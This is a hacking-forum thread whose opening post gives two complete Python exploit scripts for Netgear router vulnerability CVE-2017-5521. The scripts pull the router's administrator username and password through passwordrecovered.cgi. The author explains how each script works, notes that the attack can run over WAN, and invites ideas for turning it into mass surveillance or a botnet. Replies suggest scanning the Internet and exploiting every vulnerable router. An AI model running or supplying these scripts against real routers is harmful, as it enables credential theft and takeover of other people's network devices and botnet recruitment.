Using the Netgear Router Exploit CVE-2017-5521

exploit
routers

([email protected] [email protected]) #1

Introduction

Hello fellow h4x0rz! I’m sure you’ve all heard about the recent Netgear router exploit, correct?!
Well, on this fine day I now present to you this article of Netgear administrator credential finding, using the CVE-2017-5521 vulnerability.

(DISCLAIMER: I am offering this article as purely POC and an instrument of learning. What you do with it and what happens as a result IS NOT MY FAULT)


NOTES:

1. This will only work with routers that have remote administration enabled without password recovery (both are disabled by default)

2. It is possible to do this over WAN, considering that the remote admin is internet facing.

3. This shouldn’t have to be stated, but I know someone will ask; This exploit is ONLY FOR NETGEAR ROUTERS. (As far as we know)


To begin with, we obtain the code from here.

## netgore.py
import sys
import requests


def scrape(text, start_trig, end_trig):
    if text.find(start_trig) != -1:
	return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
    else:
        return "i_dont_speak_english"
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage - get token
ip = sys.argv[1]
port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
	r = requests.get(url)
except:
	url = 'https://' + ip + ':' + port + '/'
	r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
	print "Attacking: " + model[13:-1]
else:
	print "not a netgear router"
	sys.exit(0)
token = scrape(r.text, 'unauth.cgi?id=', '\"')
if token == 'i_dont_speak_english':
	print "not vulnerable"
	sys.exit(0)
print "token found: " + token
#2nd stage - pass the token - get the password
url = url + 'passwordrecovered.cgi?id=' + token
r = requests.post(url, verify=False)
#profit
if r.text.find('left\">') != -1:
	username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
	username = scrape(username, '>', '\'')
	password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
	password = scrape(password, '>', '\'')
	if username == "i_dont_speak_english":
		username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
		password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
	print "not vulnerable becuse password recovery IS set"
	sys.exit(0)
#html encoding pops out of nowhere, lets replace that
password = password.replace("&#35;","#")
password = password.replace("&#38;","&")
print "user: " + username
print "pass: " + password

(We’ll call this netgoreV1)

## netgore2.py
import sys
import requests

def scrape(text, start_trig, end_trig):
    if text.find(start_trig) != -1:
	return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
    else:
        return "i_dont_speak_english"
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage
ip = sys.argv[1]
port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
	r = requests.get(url)
except:
	url = 'https://' + ip + ':' + port + '/'
	r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
	print "Attacking: " + model[13:-1]
else:
	print "not a netgear router"
	sys.exit(0)
#2nd stage
url = url + 'passwordrecovered.cgi?id=get_rekt'
try:
	r = requests.post(url, verify=False)
except:
	print "not vulnerable router"
	sys.exit(0)
#profit
if r.text.find('left\">') != -1:
	username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
	username = scrape(username, '>', '\'')
	password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
	password = scrape(password, '>', '\'')
	if username == "i_dont_speak_english":
		username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
		password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
	print "not vulnerable router, or some one else already accessed passwordrecovered.cgi, reboot router and test again"
	sys.exit(0)
#html encoding pops out of nowhere, lets replace that
password = password.replace("&#35;","#")
password = password.replace("&#38;","&")
print "user: " + username
print "pass: " + password

(We’ll call this netgoreV2)

Now, let’s break these two scripts down a bit.
Both scripts are quite similar in the sense that they check for and grab the model of the Netgear router eventually returning the administrator credentials or if the router isn’t vulnerable, it will state as such.

NetgoreV1:
Sends two requests to the router you are attacking. The first request grabs the token, while the second request grabs the credentials. This version is able to grab the creds even if someone has already accessed passwordrecovered.cgi.

NetgoreV2:
Sends only one request to your target. (Un)fortunately, many Netgear routers’ token mechanism does not work correctly on the first request to passwordrecovered.cgi. The token is not properly checked, allowing the use of ANY token. So what that means is: you can use a 133t h4x0r token like the default get_rekd or fkn_pwned.

In order to use these scripts, you will need to have python installed.

Usage:

Example:

To my knowledge, the default LAN IP and Port are as stated above in the usage example.


Now, that’s all for tonight and I wish to leave you a couple of things to think on.

  1. Earlier I mentioned that it is possible to exploit this over WAN. Can you think of any ways to turn this into a mass surveilance project, or even a botnet? If so, do feel free to post it in the comments or pm me your thoughts!

  2. How can you use this information to protect yourself from exploits like this in the future? You don’t need to extend on this in the comments, but if you feel the need to, don’t stop yourself!

EDIT:
Fixed typo. “Attcking” changed to “Attacking” in both scripts.


(Security Architect & Founder) #2

I wonder if we could write a script to scan the Internet for vulnerable netgear routers, and then exploit them all. And then we can patch the vulnerability once we have root.


#3

There’s a typo in both scripts, on the line which prints what model they are attacking. Literally unusable.


([email protected] [email protected]) #5

Do elaborate on it, because it worked just fine for me.

EDIT:
Oh rofl never mind I see it. Hahaha. “Attcking” . Editing it to fix the typo.


(Burning away in an Explosion) #7

It’s good that we haven’t got a netgear aswell I didn’t change this settings :stuck_out_tongue_winking_eye:


(Ne0_) #8

The idea of using vulnerabilities to protect machines is really tempting. I had a similar idea about re-purposing Mirai once.


(system) #9

This topic was automatically closed after 30 days. New replies are no longer allowed.